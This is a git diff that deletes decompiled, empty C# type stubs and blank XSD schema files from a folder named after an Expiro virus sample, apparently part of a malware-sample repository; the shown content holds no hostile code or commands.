PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum __MIDL_IInternetZoneManager_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IMonikerProp_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IMonikerProp_0001.cs deleted file mode 100644 index 8c4b063b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IMonikerProp_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IMonikerProp_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum __MIDL_IMonikerProp_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IOleDocument_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IOleDocument_0001.cs deleted file mode 100644 index 1ddec03e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IOleDocument_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IOleDocument_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum __MIDL_IOleDocument_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IPrint_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IPrint_0001.cs deleted file mode 100644 index aa81d101..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IPrint_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IPrint_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL_IPrint_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL___MIDL_itf_objidl_0000_0046_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL___MIDL_itf_objidl_0000_0046_0001.cs deleted file mode 100644 index 61bb66c6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL___MIDL_itf_objidl_0000_0046_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_objidl_0000_0046_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum __MIDL___MIDL_itf_objidl_0000_0046_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL___MIDL_itf_objidl_0000_0046_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL___MIDL_itf_objidl_0000_0046_0002.cs deleted file mode 100644 index ac3a32b3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL___MIDL_itf_objidl_0000_0046_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_objidl_0000_0046_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL___MIDL_itf_objidl_0000_0046_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL___MIDL_itf_structuredquery_0000_0013_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL___MIDL_itf_structuredquery_0000_0013_0001.cs deleted file mode 100644 index c4e44320..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL___MIDL_itf_structuredquery_0000_0013_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_structuredquery_0000_0013_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum __MIDL___MIDL_itf_structuredquery_0000_0013_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__enative_startup_state.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__enative_startup_state.cs deleted file mode 100644 index b2dd9b49..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__enative_startup_state.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __enative_startup_state -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum __enative_startup_state -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_iobuf.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_iobuf.cs deleted file mode 100644 index 5258d0df..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_iobuf.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _iobuf -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 32)] -internal struct _iobuf -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ldiv_t.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ldiv_t.cs deleted file mode 100644 index 9c94dce9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ldiv_t.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ldiv_t -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _ldiv_t -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagACENUMOPTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagACENUMOPTION.cs deleted file mode 100644 index 630ae460..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagACENUMOPTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagACENUMOPTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _tagACENUMOPTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagAUTOCOMPLETELISTOPTIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagAUTOCOMPLETELISTOPTIONS.cs deleted file mode 100644 index 260e604c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagAUTOCOMPLETELISTOPTIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagAUTOCOMPLETELISTOPTIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _tagAUTOCOMPLETELISTOPTIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagAUTOCOMPLETEOPTIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagAUTOCOMPLETEOPTIONS.cs deleted file mode 100644 index a9a983a9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagAUTOCOMPLETEOPTIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagAUTOCOMPLETEOPTIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _tagAUTOCOMPLETEOPTIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagINTERNETFEATURELIST.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagINTERNETFEATURELIST.cs deleted file mode 100644 index c4133509..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagINTERNETFEATURELIST.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagINTERNETFEATURELIST -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _tagINTERNETFEATURELIST -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagOIBDG_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagOIBDG_FLAGS.cs deleted file mode 100644 index 06e00d3c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagOIBDG_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagOIBDG_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _tagOIBDG_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagPARSEACTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagPARSEACTION.cs deleted file mode 100644 index 13e6a2b4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagPARSEACTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagPARSEACTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _tagPARSEACTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagPI_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagPI_FLAGS.cs deleted file mode 100644 index 0b20cf77..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagPI_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagPI_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _tagPI_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagPSUACTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagPSUACTION.cs deleted file mode 100644 index 2c6fb0fa..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagPSUACTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagPSUACTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _tagPSUACTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagQUERYOPTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagQUERYOPTION.cs deleted file mode 100644 index 20a08031..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagQUERYOPTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagQUERYOPTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _tagQUERYOPTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/addressing.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/addressing.xsd deleted file mode 100644 index b0c6780f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/addressing.xsd +++ /dev/null @@ -1,144 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/addressing04.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/addressing04.xsd deleted file mode 100644 index 6f66e747..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/addressing04.xsd +++ /dev/null @@ -1,133 +0,0 @@ - - - - - - - - - - - - - - - - - If "Policy" elements from namespace "http://schemas.xmlsoap.org/ws/2002/12/policy#policy" are used, they must appear first (before any extensibility elements). - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/gcroot_003CSystem_003A_003AString ^_003E.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/gcroot_003CSystem_003A_003AString ^_003E.cs deleted file mode 100644 index 03f8e6fe..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/gcroot_003CSystem_003A_003AString ^_003E.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: gcroot -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 4)] -internal struct gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/identity.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/identity.xsd deleted file mode 100644 index 27c63856..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/identity.xsd +++ /dev/null @@ -1,434 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git 